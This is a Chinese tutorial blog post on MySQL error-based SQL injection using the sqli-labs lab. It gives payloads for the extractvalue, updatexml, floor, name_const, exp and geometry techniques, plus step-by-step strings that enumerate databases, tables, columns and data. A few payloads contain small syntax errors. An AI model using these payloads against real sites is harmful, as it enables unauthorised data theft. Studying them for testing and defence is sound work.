sql报错注入

基于sqli-labs

XPATH报错注入:

1. extractvalue(arg1,arg2)

  此函数从目标XML中返回包含所查询值的字符串

接受两个参数 ,arg1: XML 文档 ,arg2: XPATH 语句
条件 :mysql 5.1 及以上 版本
标准payload:  extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error: '~root@localhost~’

XPATH 报错注入:

2.updatexml(arg1,arg2,arg3)

arg1 为xml文档 对象的名称 ;arg2 xpath 格式的 字符串 ;arg3 string 格式 替换 查找到的符合条件的数据。
条件 :mysql 5.1.5 及以上 版本
标准payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error: '~root@localhost~’
注意:
1. XP A TH 报错注入的使用条件是 数据库版本符合条件
2. extractvalue() updatexml() 32 长度限制

floor报错注入:

floor() 函数的作用是返回 小于等于该值 最大整数 ,只返回 arg1 整数部分 ,小数部分舍弃。
条件 mysql 5.0 及以上 版本
标准 Payload:
and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)
结果 :Duplicate entry 'root@localhost1' for key 'group_key’

floor报错注入解释:

floor() 报错注入准确地说应该是 floor count group by 冲突报错 ,count(*) rand() group by 三者缺一不可
报错注入经典公式:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

公式解析:
floor() —— 取整数
rand(0)*2 —— 将取 0 2 的随机数
floor(rand()*2) —— 有两条记录就会报错
floor (rand(0)*2) —— 记录需为 3 条以上,且 3 条以上必报错 ,返回的值是有规律的
count(*) —— 用来统计结果,相当于刷新一次结果
group by —— 在对数据进行分组时会先看虚拟表中 是否存在 这个值, 不存在就插入 存在 的话 count(*) 1 ,  在使用 group by floor(rand(0)*2) 会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

其他常用报错注入:

1. 列名重复报错注入
条件: name_const() 函数在 低版本 中可以 支持 5.0 但是在 高版本 5.1+ 中就 不支持
说明 :name_const(name,value), 当用来产生一个 结果集合列 时, name_const() 促使该列 使用给定名称
标准Payload:  and (select * from (select name_const(version(),1),name_const(version(),1))x) --+

2.整形溢出报错注入

条件:mysql 5.5.5及以上版本

说明:expe为底的指数函数,由于数字太大会产生溢出。该函数会在参数大于709时溢出,产生报错

标准Payload:and exp(~(select * from (select user()) a) );

                        3.几何函数报错注入

    • 条件: 高版本 MySQL 无法得到数据
   • 相关函数 :geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
  • 说明:函数对参数要求是形如 (1 2,3 3,2 2 1) 这样 几何数据 ,如果 不满足要求 ,则 会报错
  • 标准Payload: select multipoint((select * from (select * from (select * from (select version())a)b)c))

 

1、查看数据库版本:

语句:
1' and extractvalue(1,concat(0x7e,(select version()),0x7e))

2、查看数据库名字:

语句:
1' and extractvalue(1,concat(0x7e,(select database()),0x7e))

3、查看数据库有多少个表:

语句
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where  table_schema=database()),0x7e))

4、查看数据库有哪些表:

语句
•1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where  table_schema=database() limit 0,1),0x7e))

5、查看表里面有哪些列名:

语句
•1' and extractvalue(1,concat(0x7e,(select column_name information_schema.columns where table_schema

=database() and table_name= '表名' limit 0,1),0x7e))

6、查看表里面的数据:

语句
•1’ and extractvalue(1,concat(0x7e,(select group_concat(列名) from 数据名.表名),0x7e))

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值